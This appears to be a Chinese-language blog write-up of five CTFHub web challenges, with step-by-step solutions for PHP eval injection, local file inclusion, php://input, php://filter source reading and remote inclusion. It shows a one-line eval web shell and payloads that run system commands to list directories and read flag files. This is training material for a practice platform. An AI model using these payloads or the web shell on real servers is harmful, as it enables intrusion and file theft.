1. 程式人生 > 實用技巧 >CTFHub - Web(五)

CTFHub - Web(五)

eval執行:

1.進入網頁,顯示原始碼,

 <?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?> 

2.輸入命令,發現該檔案並不是想要的,

cmd=system("ls");

3.繼續檢視目錄命令,

cmd=system("ls /");

4.檢視,得到flag,

cmd=system("cat /flag_8822");

flag:

ctfhub{d593f41b1b07b3eba2ff5d5419272766ef47c8c6}

檔案包含:

1.進入題目,原始碼如下,

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>

2.點選檢視shell,

<?php eval($_REQUEST['ctfhub']);?>

3.構造payload,

file=shell.txt
POST:ctfhub=system("ls ");

4.發現沒有需要的檔案,檢視根目錄,

file=shell.txt
POST:ctfhub=system("ls /");

5.檢視flag,得到flag,

file=shell.txt
POST:ctfhub=system("cat /flag");

flag:

ctfhub{134dc84eb445a2d35c7c7f2d005a93149bcd3aae} 

補充:

strpos()函式:
查詢字串在另一字串中第一次出現的位置(區分大小寫) 
strpos("You love php, I love php too!
","php");

php://input:

1.進入頁面,原始碼如下,

<?php
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>

2.使用php://input來構造傳送的指令,

3.構造,

?file=php://input
POST:<?php system("ls /");?>

4.檢視flag目錄,得到flag,

?file=php://input
POST:<?php system("cat /flag_27046");?>

flag:

ctfhub{3d3a294472cbaaf5f60d3639da8a1c75e0144bbb}

讀取原始碼:

1.進入題目,分析原始碼,

<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>

2.題目告訴了flag所在位置,考慮使用php偽協議中的filter協議直接提取出flag的內容,得到base64編碼後的flag,解碼即可得到flag,(或者直接)

?file=php://filter/read=convert.base64-encode/resource=/flag

?file=php://filter/resource=/flag

flag:

ctfhub{1036f894cefc1ca00066d256b6c32f0537890711}

遠端包含:

1.進入頁面,檢視原始碼,

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>

2.從phpinfo()可以看到根目錄,

3.利用POST檢視目錄,

4.檢視/flag得到flag,

flag:

ctfhub{adb12467085aa372958627a7a841bf39687022b5}